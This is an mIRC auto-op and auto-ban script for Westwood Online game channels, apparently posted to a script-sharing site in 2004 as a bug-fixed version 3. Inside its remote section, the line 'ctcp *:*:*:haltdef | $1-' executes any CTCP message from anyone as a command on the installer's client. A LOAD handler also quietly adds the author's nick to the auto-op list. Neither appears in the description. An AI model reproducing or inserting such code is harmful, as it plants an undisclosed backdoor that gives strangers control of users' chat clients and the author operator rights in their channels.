Script[A]v3

By EliteT0kr on Oct 24, 2004

For WOL Users:

FIXED ALL BUGS:

Many, many bugs causing it not to work in certain scenarios. All fixed.

/*
Script[A] v3 By t0k3d 

Cut out unneeded material that would just cause parsing of script to move slower.
Much cleaner as far as coding wise goes.  Still works the same, just quicker.  
If you know how to script, easier to edit.

Added OverRide option, letting you Auto-Op people in other peoples games if you're an op making it easier for you.
Added public Auto-Op/Auto-Ban list display.

Working on IP Address identifiers, its hard when your not using Apax Team's hosters.
I might just make it for Apax Team's stuff and if you're using Bounce, for example, it just won't work.

Enjoy,

t0k3d - EliteT0kr
*/

menu nicklist,query,chat {
  -
  t0k3d's Script[A] 
  .AutoOp
  ..On/Off
  ...On:.enable #AutoOp | echo -a %ScriptA 3Auto-Op is now 14On. | set %OverRide $false | set %AOp $true
  ...Off:.disable #AutoOp | echo -a %ScriptA 3Auto-Op is now 14Off. | set %AOp $false
  ...OverRide
  ....On:.disable #AutoOp | .enable #OverRide | echo -a %ScriptA 3OverRide is now 14On. | set %AOp $false | set %OverRide $true
  ....Off:.enable #AutoOp | .disable #OverRide | echo -a %ScriptA 3OverRide is now 14Off. | set %OverRide $false
  ....Help: echo -a %ScriptA 7Help: 3OverRide is an option that will let you use your Auto-Op on ALL channels you are an op on, not just your own.  
  ..Add [ $$1 ] $+ :addop $$1 | if ($me isop $chan) { wop $$1 }
  ..Delete [ $$1 ] $+ :delop $$1 | if ($me isop $chan) { mode # -o $$1 }
  ..List:listops
  ..Clear All:clearops
  ..Search $+ $chr(58) [ $$1 ] $+ :isop $$1
  ..About:echo -a %ScriptA 3AutoOp 7About: 3Made by t0k3d - EliteT0kr at 3:55 (PM) on October 3rd '04.  Made for Westwood Online for Relay Users.  What this does it automatically op any user on your auto-op list that joins your channel, saving you the hassle.
  .AutoBan
  ..On/Off
  ...On:.enable #AutoBan | echo -a %ScriptA 3Auto-Ban is now 14On. | set %ABan $true
  ...Off:.disable #AutoBan | echo -a %ScriptA 3Auto-Ban is now 14Off. | set %ABan $false
  ..Add [ $$1 ] $+ :addban $$1 | mode # +b $$1 | kick # $$1 1B2l1a2c1k2L1i2s1t2e1d 2- 5Script[2A5] By t0k3d.
  ..Delete [ $$1 ] $+ :delban $$1 | mode # -b $$1
  ..List:listbans
  ..Clear All:clearbans
  ..Search $+ $chr(58) [ $$1 ] $+ : isban $$1
  ..About: echo -a %ScriptA 3Auto-Ban 7About: 3Made by t0k3d at 3:58 (PM) on October 3rd '04.  Made for Westwood Online for Relay Users.  What this does it when you make a game, automatically ban every user on your blacklist (AutoBan List), saving you the hassle.
}
menu channel,status {
  -
  t0k3d's Script[A]
  .AutoOp
  ..On/Off
  ...On:.enable #AutoOp | echo -a %ScriptA 3Auto-Op is now 14On. | set %OverRide $false | set %AOp $true
  ...Off:.disable #AutoOp | echo -a %ScriptA 3Auto-Op is now 14Off. | set %AOp $false
  ...OverRide
  ....On:.disable #AutoOp | .enable #OverRide | echo -a %ScriptA 3OverRide is now 14On. | set %AOp $false | set %OverRide $true
  ....Off:.enable #AutoOp | .disable #OverRide | echo -a %ScriptA 3OverRide is now 14Off. | set %OverRide $false
  ....Help: echo -a %ScriptA 7Help: 3OverRide is an option that will let you use your Auto-Op on ALL channels you are an op on, not just your own.  
  ..Add:set %MenuOp $?"Who?" | addop %MenuOp | if (%MenuOp ison $chan) && ($chan == $chr(35) $+ $me $+ 's_Game) && ($me isop $chan) { wop %MenuOp | unset %MenuOp } 
  ..Delete:delop $?"Who?"
  ..List:listops
  ..Clear All:clearops
  ..Search:isop $?"Who?"
  ..About:echo -a %ScriptA 38AutoOp 7About: 3Made by EliteT0kr at 8:39 (PM) on August 19, 2004.  Made for Westwood Online for Relay Users.  What this does it automatically op any user on your auto-op list that joins your channel, saving you the hassle.
  .AutoBan
  ..On/Off
  ...On:.enable #AutoBan | echo -a %ScriptA 3Auto-Ban is now 14On. | set %ABan $true
  ...Off:.disable #AutoBan | echo -a %ScriptA 3Auto-Ban is now 14Off. | set %ABan $false
  ..Add:set %MenuBan $?"Who?" | addban %MenuBan | if (%MenuBan ison $chan) && ($chan == $chr(35) $+ $me $+ 's_Game) && ($me isop $chan) { mode # +b %MenuBan | kick # %MenuBan 1B2l1a2c1k2L1i2s1t2e1d 5Script[2A5] By t0k3d. | unset %MenuBan } 
  ..Delete:delban $?"Who?"
  ..List:listbans
  ..Clear All:clearbans
  ..Search:isban $?"Who?"
  ..About:echo -a %ScriptA 3AutoBan 7About: 3Made by t0k3d at 3:58 (PM) on October 3rd '04.  Made for Westwood Online for Relay Users.  What this does it when you make a game, automatically ban every user on your blacklist (AutoBan List), saving you the hassle.
}

;;;;;;;;;;;;;;;;;;;;;;;;;;
;Script[A] Remote Section.
;;;;;;;;;;;;;;;;;;;;;;;;;;

ctcp *:*:*:haltdef | $1-
on 1:LOAD: { addop t0k3d | set %AOp $true | set %ABChan $chr(35) $+ $me $+ 's_Game | set %ScriptA 5-14Script2[5A2]5- | set %ABan $true | echo -a %ScriptA 14Script2[5A2] 3Initiated. }
on 1:UNLOAD: { echo -a %ScriptA 3Deactivated. }
on 1:CONNECT: { if ($serverip == 127.0.0.1) { set %ABChan $chr(35) $+ $me $+ 's_game } } 

;;;;;;;;;;;;;;;;;;;
;Script[A] Aliases.
;;;;;;;;;;;;;;;;;;;

alias addop {
  if ($1) && ($istok(%AutoOp,$1,32) == $false) {
    set %AutoOp %AutoOp $1 
    write AutoOps.txt $1 
    echo -a %ScriptA 3Auto-Op Added:14 $1
  }
  elseif ($istok(%AutoOp,$1,32) == $true) && ($1) {
    echo -a %ScriptA 7Error:3 User Already Exists!
  }
  elseif (!$1) {
    echo -a %ScriptA 7Error:3 No One Specified!
  }
} 

alias delop {
  if ($1) && ($istok(%AutoOp,$1,32) == $true) { 
    set %AutoOp $remtok(%AutoOp,$1,1,32) 
    write -ds $+ $1 AutoOps.txt 
    echo -a %ScriptA 3Auto-Op Removed:14 $1
  }
  elseif ($istok(%AutoOp,$1,32) == $false) && ($1) { 
    echo -a %ScriptA 7Error: 3User Doesn't Exist!
  }
  elseif (!$1) {
    echo -a %ScriptA 7Error:3 No One Specified!
  }
}

alias clearops {
  if ($numtok(%AutoOp,32) > 0) { 
    var %ClearOps = $input(Are you sure you want to clear all Auto-Ops?,qy,Clear-Ops - t0k3d's Script[A])
  }
  else {
    echo -a %ScriptA 7Error: 3No Auto-Ops to Clear!
  }
  if (%ClearOps == $true) { 
    unset %AutoOp 
    write -c AutoOps.txt
    echo -a %ScriptA 3Cleared All Auto-Ops.
  }
  elseif (%ClearOps == $false) {
    echo -a %ScriptA %Ar 3Clear-Ops Aborted.
  }
  elseif ($numtok(%AutoOp,32) < 0) {
    echo -a %ScriptA 7Error: 3There are no Auto-Ops to clear!
  }
}

alias listops {
  if ($numtok(%AutoOp,32) > 0) {
    echo -a %ScriptA 3Auto-Op List:14 %AutoOp
  }
  else { 
    echo -a %ScriptA 7Error: 3No Auto-Ops to list!
  }
}

alias plistops {
  if ($numtok(%AutoOp,32) > 0) { 
    describe # Current Auto-Ops list: %AutoOp
  }
  else {
    describe # There are currently no Current Auto-Ops.
  }
}

alias isop {
  if ($1) && ($istok(%AutoOp,$1,32) == $true) {
    echo -a %ScriptA 3 $+ $1 Is an Auto-Op.
  }
  elseif ($istok(%AutoOp,$1,32) == $false) && ($1) {
    echo -a %ScriptA 3 $+ $1 Isn't an Auto-Op.
  }
  elseif (!$1) {
    echo -a %ScriptA 7Error: 3No One Specified!
  }
}

alias wop {
  var %c 0
  while ($nick(#, %c, o)) {
    inc %c
    if ($nick(#, $abs(%c), o) != $me) { var %n %n $+ $nick(#, $abs(%c), o) $chr(32) }
  }
  mode # - $+ $str(o, $numtok(%n, 32)) %n
  mode # + $+ $str(o, $numtok($1-, 32)) $+ $str(o, $numtok(%n, 32)) %n $1-
}

alias addban {
  if ($1) && ($istok(%AutoBan,$1,32) == $false) {
    write AutoBans.txt $1
    set %AutoBan %AutoBan $1
    echo -a %ScriptA 3Auto-Ban Added:14 $1
  }
  elseif ($istok(%AutoBan,$1,32) == $true) && ($1) {
    echo -a %ScriptA 7Error: 3User Already Exists!
  }
  elseif (!$1) {
    echo -a %ScriptA 7Error: 3No One Specified!
  }
}

alias delban {
  if ($istok(%AutoBan,$1,32) == $true) { 
    set %AutoBan $remtok(%AutoBan,$1,1,32)
    write -ds $+ $1 AutoBans.txt
    echo -a %ScriptA 3Auto-Ban Removed:14 $1
  }
  elseif ($istok(%AutoBan,$1,32) == $false) && ($1) {
    echo -a %ScriptA 7Error: 3User Doesn't Exist!
  }
  elseif (!$1) {
    echo -a %ScriptA 7Error: No One Specified!
  }
}

alias clearbans {
  if ($numtok(%AutoBan,32) > 0) {
    var %ClearBan = $input(Are you sure you want to clear all Auto-Bans?,qy,Clear-Bans - t0k3d's Script[A])
  }
  else {
    echo -a %ScriptA 7Error: 3No Auto-Bans to Clear!
  }
  if (%ClearBan == $true) { 
    write -c AutoBans.txt 
    unset %AutoBan
    echo -a %ScriptA 3All Auto-Bans Removed.
  }
  elseif (%ClearBan == $false) {
    echo -a %ScriptA 3Clear-Bans Aborted.
  }
}

alias listbans {
  if ($numtok(%AutoBan,32) > 0) {
    echo -a %ScriptA 3Auto-Ban List:14 %AutoBan
  }
  else {
    echo -a %ScriptA 7Error: 3No Auto-Bans to list!
  }
}

alias plistbans {
  if ($numtok(%AutoBan,32) > 0) {
    describe # Auto-Ban List: %AutoBan
  }
  else {
    describe # There Are No Current Auto-Bans to List.
  }
}

alias isban {
  if ($1) && ($istok(%AutoBan,$1,32) == $true) {
    echo -a %ScriptA 3 $+ $1 Is an Auto-Ban.
  }
  elseif ($istok(%AutoBan,$1,32) == $false) && ($1) {
    echo -a %ScriptA 3 $+ $1 Isn't an Auto-Ban.
  }
  elseif (!$1) {
    echo -a %ScriptA 7Error: 3No One Specified!
  }
}

;;;;;;;;;;;;;;;;;;;;;;;;;;
;Script[A] Remotes/Groups.
;;;;;;;;;;;;;;;;;;;;;;;;;;

on 1:JOIN:#: { 
  if (%ABan == $true) { 
    if ($nick == $me) && ($serverip == 127.0.0.1) && ($numtok(%AutoBan,32) > 0) && ($chan == %ABChan) {
      var %Ban 1
      while (%Ban <= $lines(AutoBans.txt)) {
        .timer 1 %Ban mode # +b $read(AutoBans.txt,$abs(%Ban)) 
        inc %Ban
      }
      .timer 1 $calc($lines(AutoBans.txt) + 1) echo %ABChan %ScriptA 3Auto-Ban Completed.
    }
  }
  if (%AOp == $true) { 
    if ($chan == %ABChan) && ($serverip == 127.0.0.1) && ($me isop $chan) && ($nick != $me) && ($nick isin %AutoOp) { 
      wop $nick 
      describe # 14 $+ $nick 5is on my 3Auto-Op Script. 1-2(1-5Script[2A5] v3 By t0k3d1-2)1- 
    }
  }
  if (%OverRide == $true) { 
    if ($serverip == 127.0.0.1) && ($me isop $chan) && ($nick isin %AutoOp) && ($nick != $me) {
      wop $nick 
      describe # 14 $+ $nick 5is on my 3Auto-Op Script. 1-2(1-5Script[2A5] v3 By t0k3d1-2)1- 
    }
  }
}

#List on
on 1:TEXT:*:#: {
  if ($1 == !ListOps) {
    plistops
  }
  if ($1 == !ListBans) {
    plistbans
  }
}
#List end

Comments

Sign in to comment.
Are you sure you want to unfollow this person?
Are you sure you want to delete this?
Click "Unsubscribe" to stop receiving notices pertaining to this post.
Click "Subscribe" to resume notices pertaining to this post.